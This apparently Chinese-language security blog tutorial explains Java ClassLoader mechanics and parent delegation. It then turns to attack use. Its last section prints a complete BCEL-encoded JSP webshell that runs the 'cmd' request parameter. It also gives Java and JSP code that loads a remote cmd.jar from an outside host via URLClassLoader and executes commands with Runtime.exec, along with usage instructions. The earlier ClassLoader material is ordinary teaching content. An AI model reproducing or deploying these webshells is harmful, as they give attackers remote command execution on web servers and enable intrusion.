一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader
(引导类加载器)、Extension ClassLoader
(扩展类加载器)、App ClassLoader
(系统类加载器),AppClassLoader
是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader
加载类,ClassLoader.getSystemClassLoader()
返回的系统类加载器也是AppClassLoader
。
我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader时候都会返回null。
ClassLoader类有如下核心方法:
loadClass(加载指定的Java类)
findClass(查找指定的Java类)
findLoadedClass(查找JVM已经加载过的类)
defineClass(定义一个Java类)
resolveClass(链接指定的Java类)
Java类动态加载方式
静态加载
Office.java
class Office{
public static void main(String[] args){
if(args[0].equals("Word")){
Word w = new Word();
w.start();
}
if(args[0].equals("Excel")){
Excel e = new Excel();
e.start();
}
}
Word.java
class Word{
public void start(){
System.out.println("Word Start");
}
编译会报错,这当然没问题,因为确实没有写Excel.java类。如果修改为动态加载,动态加载类是按需加载的,你需要什么类,就加载什么类,一个类的状态,不会影响到另一个类的使用。
所以我们可以将Office类改造如下:
class Office{
public static void main(String[] args){
try{
Class c = Class.forName(args[0]);
Word w = (Word)c.newInstance();
w.start();
}
catch(Exception e){
e.printStackTrace();
}
}
虽然我们还是没有写Excel类,但此时我们再编译Office.java文件,编译通过;成功按照我们预想的结果运行,这样Word类就可以单独运行。
常用的类动态加载方式
// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName(“类名”)默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName(“类名”, 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。
Class加载器调用顺序
加载class文件分为三个阶段:
- 第一阶段找到class文件并将或者文件包含的字节码加载到内存,至于如何找到class文件就是通过
findClass()
方法定义的,找到之后通过defineClass()
方法来创建类对象 - 第二阶段分为三个步骤(验证,准备,解析):字节码验证,Class类数据结构分析以及相应的内存分配,符号表链接
- 第三个阶段将类中的静态属性和初始化赋值,以及静态代码块的执行
加载器顺序:
public class Test {
public static void main(String[] args) {
ClassLoader classLoader = Test.class.getClassLoader();
System.out.println(classLoader);
ClassLoader classLoader1 = classLoader.getParent();
System.out.println(classLoader1);
ClassLoader classLoader2 = classLoader1.getParent();
System.out.println(classLoader2);
}
}
能得到这么一个结果:
sun.misc.Launcher$AppClassLoader@18b4aac2
sun.misc.Launcher$ExtClassLoader@677327b6
null
第一次调用的时候得到的是AppClassLoader,应用程序加载器,在没有明确指定的时候就是默认加载应用程序内类库加载器。
第二次调用的时候得到的是ExtClassLoader。扩展类加载器,是AppClassLoader加载器的父类加载器,至于null是bootstrap加载器的返回,这个加载器没有明确的引用。
双亲委派
Bootstrap Class Loader
这个类加载器负责加载存放在<JAVA_HOME>\lib
目录,或者被-Xbootclasspath
参数所指定的路径中存放的,而且是Java虚拟机能够识别的(按照文件名识别,如rt.jar、tools.jar,名字不符合的类库即使放在lib目录中也不会被加载)类库加载到虚拟机的内存中。
Extension Class Loader
它负责加载<JAVA_HOM E>\lib\ext
目录中,或者被java.ext.dirs
系统变量所 指定的路径中所有的类库。注意,扩展类加载器加载的必须是jar或者zip文件,不能是.class文件。
App Class Loader
这个类加载器由sun.misc.Launcher$AppClassLoader
来实现。由于应用程序类加载器是ClassLoader类中的getSystemClassLoader()
方法的返回值,所以也称它为“系统类加载器”。它负责加载用户类路径(ClassPath)上所有的类库,开发者同样可以直接在代码中使用这个类加载器
双亲委派工作原理:类加载器接收加载类的请求后,并不会自己去主动加载类,而是委派给父类加载器来加载,只要在父类加载器无法加载后才由子类加载器加载。也就是所有的加载请求都会反馈给最顶层的加载器中。加载器的子父类关系
双亲委派模型的好处就是同一个名称的类只能在一个类加载器中加载一次,避免多次加载导致混乱。
破坏双亲委派
如果双亲委派是父类加载器来搜索加载,那自然在某些环境下并不希望由父类来加载,所以这时候就需要重写loadClass方法来破坏双亲委派的加载逻辑。ClassLoader默认构造方法设置了父类加载器为系统加载器,loadClass方法实现了委托模型,我们只需要重写findClass方法实现自己的类加载逻辑,比如javadoc给的一个例子:
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] b = loadClassData(name);
return defineClass(name, b, 0, b.length);
}
private byte[] loadClassData(String name) {
// load the class data from the file or network
}
实现大体上分为两步,第一步获取字节码的字节数组byte[],然后通过ClassLoader提供的defineClass
方法将字节码定义成Class对象。但是以上这种重写的方式并不破坏双亲委派机制,只是自定义类加载器,在双亲委派的基础上,实现自己需要的部分方法,后续还是采用重写loadClass的方式。
先来看一下loadClass的源代码实现:
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
先判断jvm是否已经加载了,没有的话判断是否还有父类,有的话去父类加载,没有的话说明是最顶层的类,直接在BootstraploadClass中查找加载,如果依然没有,则返回null,到最后由当前子类加载器加载。
想破坏委派需要不让他去父类加载,或者我们自定义父类加载的流程。例如:
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> c = findLoadedClass(name);
if (c != null) {
return c;
}
Class<?> classname = null;
try {
classname = findClass(name);
} catch (Exception e) {}
if (classname != null) {
//....
return findClass;
}
return super.loadClass(name);
}
以上是一个简单的重写,意思就是jvm如果找不到当前类,则调用findclass来加载此类。也就是去掉了到父类中查找加载的步骤而已。
加载器加载shell
这种利用classload的来加载恶意代码从而实现webshell的方式,已经有很多实现了,比如:
https://github.com/threedr3am/JSP-Webshells/blob/master/jsp/1/1.jsp
就是利用加载器来加载字节码实现webshell,还有冰蝎shell,同样是加载器实现。使用上面这个1.jsp来分析一下,当我们了解加载器后再看这个shell就简单一些
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes());
%>
</body>
</html>
利用URLClassLoad远程加载webshell。如下园长给的一个Java连接代码。
import java.io.*;
import java.net.URL;
import java.net.URLClassLoader;
public class classload extends ClassLoader {
public static void main(String[] args) {
classload loader = new classload();
try {
URL url = new URL("http://192.168.30.179:8000/cmd.jar");
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
Class cmdClass = ucl.loadClass("CMD");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, "whoami");
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[2048];
int a = 0;
while ((a = in.read(buf)) != -1) {
baos.write(buf, 0, a);
}
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
jar文件,利用jar -cvf cmd.jar cmd.class
来打包为一个jar文件。
import java.io.IOException;
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
执行运行后,就可以执行其中写入的命令,把这个代码改为jsp并且可以远程修改执行命令的代码
<%@ page import="java.io.*, java.net.*" %>
<html>
<body>
<h2>JSP Webshell</h2>
<%
URL url = new URL("http://192.168.30.179:8000/cmd.jar");
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
Class cmdClass = ucl.loadClass("CMD");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, request.getParameter("cmd"));
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[2048];
int a = 0;
while ((a = in.read(buf)) != -1) {
baos.write(buf, 0, a);
}
response.getOutputStream().write(String.valueOf(baos.toString()).getBytes());
%>
</body>
</html>
如下访问即可:http://localhost:8080/jsp/1.jsp?cmd=whoami